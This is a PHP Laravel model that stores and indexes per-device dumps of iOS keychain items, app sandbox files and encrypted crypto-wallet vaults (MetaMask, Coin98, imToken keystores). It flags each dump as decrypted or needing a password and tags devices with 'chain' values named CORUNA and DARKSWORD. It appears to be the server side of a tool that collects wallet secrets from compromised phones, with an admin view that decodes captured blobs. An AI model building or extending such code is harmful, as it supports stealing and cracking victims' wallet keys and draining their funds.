872 lines
27 KiB
PHP
872 lines
27 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
use Illuminate\Support\Facades\DB;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
class WalletKeystore extends Model
|
|
{
|
|
protected $fillable = [
|
|
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
|
|
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'raw_json' => 'array',
|
|
'chain' => 'integer',
|
|
'decrypted' => 'integer',
|
|
'needs_password' => 'integer',
|
|
'list_has_web3' => 'integer',
|
|
];
|
|
}
|
|
|
|
/**
|
|
* Columns for admin/device list pages. Never include raw_json — a page of
|
|
* dumps will exceed the 128MB PHP limit (see production.ERROR OOM).
|
|
*
|
|
* @return list<string|\Illuminate\Database\Query\Expression>
|
|
*/
|
|
public static function listColumns(string $table = 'wallet_keystores'): array
|
|
{
|
|
$cols = [
|
|
$table.'.id',
|
|
$table.'.device_id',
|
|
$table.'.source',
|
|
$table.'.decrypted',
|
|
];
|
|
if (self::hasChainColumn()) {
|
|
$cols[] = $table.'.chain';
|
|
}
|
|
if (self::hasNeedsPasswordColumn()) {
|
|
$cols[] = $table.'.needs_password';
|
|
}
|
|
|
|
if (self::hasListStatsColumns()) {
|
|
$cols[] = $table.'.list_kind';
|
|
$cols[] = $table.'.list_item_count';
|
|
$cols[] = $table.'.list_summary';
|
|
$cols[] = $table.'.list_has_web3';
|
|
}
|
|
|
|
$cols[] = $table.'.created_at';
|
|
$cols[] = $table.'.updated_at';
|
|
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
|
|
|
|
return $cols;
|
|
}
|
|
|
|
/**
|
|
* Same as listColumns() but without LENGTH(raw_json). Use this for
|
|
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
|
|
* — the LENGTH() expression forces MySQL to read large blobs during
|
|
* filesort, overflowing the sort buffer even for a handful of rows.
|
|
*
|
|
* @return list<string>
|
|
*/
|
|
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
|
{
|
|
$cols = [
|
|
$table.'.id',
|
|
$table.'.device_id',
|
|
$table.'.source',
|
|
$table.'.decrypted',
|
|
];
|
|
if (self::hasChainColumn()) {
|
|
$cols[] = $table.'.chain';
|
|
}
|
|
if (self::hasNeedsPasswordColumn()) {
|
|
$cols[] = $table.'.needs_password';
|
|
}
|
|
|
|
if (self::hasListStatsColumns()) {
|
|
$cols[] = $table.'.list_kind';
|
|
$cols[] = $table.'.list_item_count';
|
|
$cols[] = $table.'.list_summary';
|
|
$cols[] = $table.'.list_has_web3';
|
|
}
|
|
|
|
$cols[] = $table.'.created_at';
|
|
$cols[] = $table.'.updated_at';
|
|
|
|
return $cols;
|
|
}
|
|
|
|
public static function hasChainColumn(): bool
|
|
{
|
|
static $has = null;
|
|
if ($has === null) {
|
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
|
|
}
|
|
|
|
return $has;
|
|
}
|
|
|
|
public static function hasNeedsPasswordColumn(): bool
|
|
{
|
|
static $has = null;
|
|
if ($has === null) {
|
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
|
|
}
|
|
|
|
return $has;
|
|
}
|
|
|
|
public static function hasListStatsColumns(): bool
|
|
{
|
|
static $has = null;
|
|
if ($has === null) {
|
|
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
|
|
}
|
|
|
|
return $has;
|
|
}
|
|
|
|
/**
|
|
* List-page stats. Prefer denormalized columns so we never load raw_json
|
|
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
|
|
*
|
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
|
*/
|
|
public function listStats(): array
|
|
{
|
|
if ($this->hasCachedListStats()) {
|
|
return $this->cachedListStats();
|
|
}
|
|
|
|
$json = is_array($this->raw_json) ? $this->raw_json : null;
|
|
if ($json === null && $this->id) {
|
|
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
|
$this->setAttribute('raw_json', $raw);
|
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
|
}
|
|
$json = is_array($json) ? $json : [];
|
|
|
|
try {
|
|
$stats = self::computeListStatsFromJson($json);
|
|
} catch (\Throwable $e) {
|
|
Log::warning('keystore.list.hydrate.fail', [
|
|
'id' => $this->id,
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
$stats = [
|
|
'item_count' => 0,
|
|
'summary' => '',
|
|
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
|
|
'has_web3_keystore' => false,
|
|
];
|
|
} finally {
|
|
if ($this->id) {
|
|
$this->setAttribute('raw_json', null);
|
|
}
|
|
}
|
|
|
|
$this->persistListStats($stats);
|
|
|
|
return $stats;
|
|
}
|
|
|
|
public function hasCachedListStats(): bool
|
|
{
|
|
return self::hasListStatsColumns()
|
|
&& array_key_exists('list_item_count', $this->attributes)
|
|
&& $this->attributes['list_item_count'] !== null;
|
|
}
|
|
|
|
/**
|
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
|
*/
|
|
public function cachedListStats(): array
|
|
{
|
|
return [
|
|
'item_count' => (int) $this->list_item_count,
|
|
'summary' => (string) ($this->list_summary ?? ''),
|
|
'kind' => (string) ($this->list_kind ?? ''),
|
|
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $json
|
|
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
|
*/
|
|
public static function computeListStatsFromJson(array $json): array
|
|
{
|
|
$row = new static(['raw_json' => $json]);
|
|
$names = [];
|
|
$count = 0;
|
|
$row->collectListMeta($json, $count, $names);
|
|
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
|
|
if ($names === []) {
|
|
$summary = $count > 0 ? $count.' 条' : '';
|
|
} else {
|
|
$summary = implode(' · ', $names);
|
|
if ($count > 3) {
|
|
$summary .= ' 等'.$count.'条';
|
|
}
|
|
}
|
|
|
|
return [
|
|
'item_count' => $count,
|
|
'summary' => mb_substr($summary, 0, 255),
|
|
'kind' => $kind,
|
|
'has_web3_keystore' => $row->containsWeb3Keystore($json),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
|
* @return array<string, mixed>
|
|
*/
|
|
public static function listStatsAttributes(array $stats): array
|
|
{
|
|
if (! self::hasListStatsColumns()) {
|
|
return [];
|
|
}
|
|
|
|
return [
|
|
'list_kind' => $stats['kind'],
|
|
'list_item_count' => $stats['item_count'],
|
|
'list_summary' => $stats['summary'],
|
|
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
|
*/
|
|
private function persistListStats(array $stats): void
|
|
{
|
|
$attrs = self::listStatsAttributes($stats);
|
|
if ($attrs === []) {
|
|
return;
|
|
}
|
|
foreach ($attrs as $key => $value) {
|
|
$this->setAttribute($key, $value);
|
|
}
|
|
if ($this->id) {
|
|
self::query()->whereKey($this->id)->update($attrs);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
|
|
*
|
|
* @param array<string, mixed> $json
|
|
* @param list<string> $names
|
|
*/
|
|
private function collectListMeta(array $json, int &$count, array &$names): void
|
|
{
|
|
$wallets = $json['wallets'] ?? null;
|
|
if (is_array($wallets)) {
|
|
foreach ($wallets as $key => $bucket) {
|
|
if (is_string($bucket) && $bucket !== '') {
|
|
$count++;
|
|
if (count($names) < 3) {
|
|
$names[] = is_string($key) ? $key : 'wallet';
|
|
}
|
|
|
|
continue;
|
|
}
|
|
if (! is_array($bucket)) {
|
|
continue;
|
|
}
|
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
|
foreach ($items as $item) {
|
|
if (! is_array($item)) {
|
|
continue;
|
|
}
|
|
$count++;
|
|
if (count($names) < 3) {
|
|
$name = trim((string) ($item['account'] ?? ''));
|
|
if ($name !== '') {
|
|
$names[] = $name;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
$sandbox = $json['sandbox'] ?? null;
|
|
if (is_array($sandbox)) {
|
|
$this->collectSandboxMeta($sandbox, $count, $names);
|
|
}
|
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
|
$count++;
|
|
if (count($names) < 3) {
|
|
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
|
|
}
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $sandbox
|
|
* @param list<string> $names
|
|
*/
|
|
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
|
|
{
|
|
foreach ($sandbox as $key => $value) {
|
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
|
if (is_array($value)) {
|
|
if (isset($value['items']) && is_array($value['items'])) {
|
|
foreach ($value['items'] as $item) {
|
|
if (! is_array($item)) {
|
|
continue;
|
|
}
|
|
$count++;
|
|
if (count($names) < 3) {
|
|
$name = trim((string) ($item['account'] ?? ''));
|
|
$names[] = $name !== '' ? $name : $path;
|
|
}
|
|
}
|
|
|
|
continue;
|
|
}
|
|
$this->collectSandboxMeta($value, $count, $names, $path);
|
|
|
|
continue;
|
|
}
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$count++;
|
|
if (count($names) < 3) {
|
|
$names[] = $path;
|
|
}
|
|
}
|
|
}
|
|
|
|
public static function kindLabelFor(string $kind): string
|
|
{
|
|
return match ($kind) {
|
|
'keychain.wallets' => '钥匙串',
|
|
'sandbox' => '沙盒文件',
|
|
'web3.keystore' => '标准 Keystore',
|
|
'metamask.vault' => 'MetaMask Vault',
|
|
'coin98.wallet' => 'Coin98 加密钱包',
|
|
'encrypted.sandbox' => '加密钱包文件',
|
|
default => $kind !== '' ? $kind : '未知',
|
|
};
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $rawJson
|
|
*/
|
|
public static function hashPayload(array $rawJson): string
|
|
{
|
|
$row = new static(['raw_json' => $rawJson]);
|
|
$digests = $row->contentDigests();
|
|
$seed = $row->kind().'|'.implode(',', $digests);
|
|
if ($digests === []) {
|
|
$seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
}
|
|
|
|
return hash('sha256', $seed);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $rawJson
|
|
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
|
|
*/
|
|
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
|
|
{
|
|
$hash = self::hashPayload($rawJson);
|
|
$matches = [];
|
|
$select = ['id', 'content_hash', 'decrypted'];
|
|
if (self::hasChainColumn()) {
|
|
$select[] = 'chain';
|
|
}
|
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
|
$select[] = 'needs_password';
|
|
}
|
|
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
|
$rowHash = (string) $row->content_hash;
|
|
if ($rowHash === '') {
|
|
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
|
$row->setAttribute('raw_json', $raw);
|
|
$rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
|
|
$row->setAttribute('raw_json', null);
|
|
}
|
|
if (! hash_equals($rowHash, $hash)) {
|
|
continue;
|
|
}
|
|
if ((string) $row->content_hash !== $hash) {
|
|
self::query()->whereKey($row->id)->update(['content_hash' => $hash]);
|
|
$row->setAttribute('content_hash', $hash);
|
|
}
|
|
$row->setAttribute('raw_json', null);
|
|
$matches[] = $row;
|
|
}
|
|
|
|
if ($matches !== []) {
|
|
$keep = $matches[0];
|
|
foreach (array_slice($matches, 1) as $dup) {
|
|
$dup->delete();
|
|
}
|
|
if ($needsPassword) {
|
|
self::markNeedsPassword($keep);
|
|
}
|
|
self::fillChain($keep, $device);
|
|
|
|
return $keep;
|
|
}
|
|
|
|
$payload = [
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
'decrypted' => 0,
|
|
'raw_json' => $rawJson,
|
|
];
|
|
if (self::hasChainColumn()) {
|
|
$payload['chain'] = self::chainFromDevice($device);
|
|
}
|
|
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
|
|
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
|
$payload['content_hash'] = $hash;
|
|
}
|
|
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
|
$payload['needs_password'] = 1;
|
|
}
|
|
|
|
return self::query()->create($payload);
|
|
}
|
|
|
|
public static function chainFromDevice(Device $device): int
|
|
{
|
|
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
|
|
|
|
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
|
|
? $chain
|
|
: Device::CHAIN_CORUNA;
|
|
}
|
|
|
|
/**
|
|
* Fill missing chain from the device. Does not overwrite a stored value.
|
|
*/
|
|
public static function fillChain(self $row, Device $device): void
|
|
{
|
|
if (! self::hasChainColumn()) {
|
|
return;
|
|
}
|
|
if ((int) $row->chain === Device::CHAIN_CORUNA
|
|
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|
|
|| (int) $row->chain === Device::CHAIN_APP) {
|
|
return;
|
|
}
|
|
$chain = self::chainFromDevice($device);
|
|
self::query()->whereKey($row->id)->update(['chain' => $chain]);
|
|
$row->setAttribute('chain', $chain);
|
|
}
|
|
|
|
/**
|
|
* Flag a row as requiring a user password. Writes 1 only; never 0.
|
|
*/
|
|
public static function markNeedsPassword(self $row): void
|
|
{
|
|
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
|
return;
|
|
}
|
|
if ((int) $row->needs_password === 1) {
|
|
return;
|
|
}
|
|
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
|
|
$row->setAttribute('needs_password', 1);
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
public function contentDigests(): array
|
|
{
|
|
$out = [];
|
|
foreach ($this->listedItems() as $item) {
|
|
$sha = (string) ($item['data_sha'] ?? '');
|
|
if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
|
|
continue;
|
|
}
|
|
$out[] = $sha;
|
|
}
|
|
sort($out);
|
|
|
|
return $out;
|
|
}
|
|
|
|
public function sourceLabel(): string
|
|
{
|
|
$source = trim((string) $this->source);
|
|
|
|
return $source !== '' ? $source : '未知';
|
|
}
|
|
|
|
public function kind(): string
|
|
{
|
|
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
|
|
}
|
|
|
|
public function kindLabel(): string
|
|
{
|
|
return self::kindLabelFor($this->kind());
|
|
}
|
|
|
|
/**
|
|
* Detect whether this keystore entry contains a standard Web3 keystore
|
|
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
|
|
* that has `ciphertext` and `mac` sub-keys. This covers imToken
|
|
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
|
|
* and any UTC-style keystore blob.
|
|
*
|
|
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
|
|
* sandbox files do NOT match and will return false.
|
|
*/
|
|
public function hasWeb3Keystore(): bool
|
|
{
|
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
|
|
|
return $this->containsWeb3Keystore($json);
|
|
}
|
|
|
|
/**
|
|
* @param mixed $node
|
|
*/
|
|
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
|
|
{
|
|
if ($depth > 12 || ! is_array($node)) {
|
|
return false;
|
|
}
|
|
if ($this->isWeb3KeystoreNode($node)) {
|
|
return true;
|
|
}
|
|
foreach ($node as $child) {
|
|
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $node
|
|
*/
|
|
private function isWeb3KeystoreNode(array $node): bool
|
|
{
|
|
$crypto = $node['crypto'] ?? null;
|
|
|
|
return is_array($crypto)
|
|
&& isset($crypto['ciphertext'], $crypto['mac'])
|
|
&& is_string($crypto['ciphertext'])
|
|
&& is_string($crypto['mac']);
|
|
}
|
|
|
|
/**
|
|
* @return list<array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }>
|
|
*/
|
|
public function listedItems(): array
|
|
{
|
|
try {
|
|
return $this->collectListedItems();
|
|
} catch (\Throwable) {
|
|
return [];
|
|
}
|
|
}
|
|
|
|
/**
|
|
* @return list<array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }>
|
|
*/
|
|
private function collectListedItems(): array
|
|
{
|
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
|
$out = [];
|
|
$wallets = $json['wallets'] ?? null;
|
|
if (is_array($wallets)) {
|
|
foreach ($wallets as $key => $bucket) {
|
|
if (is_string($bucket) && $bucket !== '') {
|
|
$out[] = $this->normalizeItem([
|
|
'account' => is_string($key) ? $key : 'wallet',
|
|
'data' => $bucket,
|
|
]);
|
|
|
|
continue;
|
|
}
|
|
if (! is_array($bucket)) {
|
|
continue;
|
|
}
|
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
|
foreach ($items as $item) {
|
|
if (is_array($item)) {
|
|
$out[] = $this->normalizeItem($item);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
$sandbox = $json['sandbox'] ?? null;
|
|
if (is_array($sandbox)) {
|
|
$out = array_merge($out, $this->sandboxItems($sandbox));
|
|
}
|
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
|
$out[] = $this->normalizeItem([
|
|
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
|
|
'path' => 'crypto',
|
|
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
|
|
]);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
public function itemCount(): int
|
|
{
|
|
return count($this->listedItems());
|
|
}
|
|
|
|
public function summary(): string
|
|
{
|
|
$names = [];
|
|
foreach ($this->listedItems() as $item) {
|
|
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
|
|
if ($name !== '') {
|
|
$names[] = $name;
|
|
}
|
|
if (count($names) >= 3) {
|
|
break;
|
|
}
|
|
}
|
|
$n = $this->itemCount();
|
|
if ($names === []) {
|
|
return $n > 0 ? $n.' 条' : '';
|
|
}
|
|
$text = implode(' · ', $names);
|
|
if ($n > 3) {
|
|
$text .= ' 等'.$n.'条';
|
|
}
|
|
|
|
return $text;
|
|
}
|
|
|
|
public function device(): BelongsTo
|
|
{
|
|
return $this->belongsTo(Device::class);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $item
|
|
* @return array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }
|
|
*/
|
|
private function normalizeItem(array $item): array
|
|
{
|
|
$hex = (string) ($item['dataHex'] ?? '');
|
|
$bin = '';
|
|
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
|
$bin = (string) hex2bin($hex);
|
|
} elseif (isset($item['data']) && is_string($item['data'])) {
|
|
$bin = $item['data'];
|
|
}
|
|
|
|
return [
|
|
'account' => trim((string) ($item['account'] ?? '')),
|
|
'service' => trim((string) ($item['service'] ?? '')),
|
|
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
|
|
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
|
|
'path' => trim((string) ($item['path'] ?? '')),
|
|
'data_len' => strlen($bin),
|
|
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
|
'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $sandbox
|
|
* @return list<array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }>
|
|
*/
|
|
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
|
{
|
|
$out = [];
|
|
foreach ($sandbox as $key => $value) {
|
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
|
if (is_array($value)) {
|
|
if (isset($value['items']) && is_array($value['items'])) {
|
|
foreach ($value['items'] as $item) {
|
|
if (is_array($item)) {
|
|
$out[] = $this->normalizeItem($item);
|
|
}
|
|
}
|
|
|
|
continue;
|
|
}
|
|
$out = array_merge($out, $this->sandboxItems($value, $path));
|
|
|
|
continue;
|
|
}
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$bin = base64_decode($value, true);
|
|
if ($bin === false) {
|
|
$bin = $value;
|
|
}
|
|
$out[] = $this->normalizeItem([
|
|
'account' => basename($path),
|
|
'path' => $path,
|
|
'data' => $bin,
|
|
]);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function previewBytes(string $raw): string
|
|
{
|
|
if ($raw === '') {
|
|
return '';
|
|
}
|
|
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
|
|
return $raw;
|
|
}
|
|
$hex = bin2hex($raw);
|
|
|
|
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
|
}
|
|
|
|
/**
|
|
* Keys whose values are sensitive (encrypted blobs, private keys,
|
|
* salts, IVs, etc.) and should be masked in the detail view.
|
|
*/
|
|
private const MASK_KEYS = [
|
|
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
|
|
'encKey', 'encAuthKey', 'encOriginal',
|
|
'secretKey', 'privateKey', 'seed',
|
|
'cipherparams', 'kdfparams', 'cipher',
|
|
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
|
|
'pin_code_key_multi_uuid',
|
|
];
|
|
|
|
/**
|
|
* Return the raw_json tree with sensitive fields masked, suitable for
|
|
* display in the admin "查看明文" detail view. Each keychain item's
|
|
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
|
|
* are replaced with `***MASKED***`.
|
|
*
|
|
* @return array<string, mixed>
|
|
*/
|
|
public function maskedDetail(): array
|
|
{
|
|
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
|
if (! is_array($raw)) {
|
|
return [];
|
|
}
|
|
|
|
return $this->maskTree($raw);
|
|
}
|
|
|
|
/**
|
|
* Recursively mask sensitive keys in a data tree.
|
|
*
|
|
* @param mixed $node
|
|
* @return mixed
|
|
*/
|
|
private function maskTree(mixed $node, int $depth = 0): mixed
|
|
{
|
|
if ($depth > 12) {
|
|
return null;
|
|
}
|
|
if (is_array($node)) {
|
|
$out = [];
|
|
foreach ($node as $key => $value) {
|
|
$lowerKey = strtolower((string) $key);
|
|
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
|
|
// Mask the value but preserve type info and length.
|
|
if (is_string($value)) {
|
|
$out[$key] = '***MASKED***('.strlen($value).' chars)';
|
|
} elseif (is_array($value)) {
|
|
$out[$key] = '***MASKED***('.count($value).' items)';
|
|
} else {
|
|
$out[$key] = '***MASKED***';
|
|
}
|
|
continue;
|
|
}
|
|
// Decode dataHex in-place to show decoded content.
|
|
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
|
|
$decoded = $this->tryDecodeHex($value);
|
|
if ($decoded !== null) {
|
|
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
|
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
|
|
continue;
|
|
}
|
|
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
|
continue;
|
|
}
|
|
$out[$key] = $this->maskTree($value, $depth + 1);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
return $node;
|
|
}
|
|
|
|
/**
|
|
* Try to decode a hex string into a JSON array or readable UTF-8 text.
|
|
*/
|
|
private function tryDecodeHex(string $hex): mixed
|
|
{
|
|
$hex = trim($hex);
|
|
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
|
|
return null;
|
|
}
|
|
$bin = @hex2bin($hex);
|
|
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
|
|
return null;
|
|
}
|
|
// Try JSON first.
|
|
$json = json_decode($bin, true);
|
|
if (is_array($json)) {
|
|
return $json;
|
|
}
|
|
// Return as plain text if it looks printable.
|
|
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
|
|
return $bin;
|
|
}
|
|
|
|
return null;
|
|
}
|
|
}
|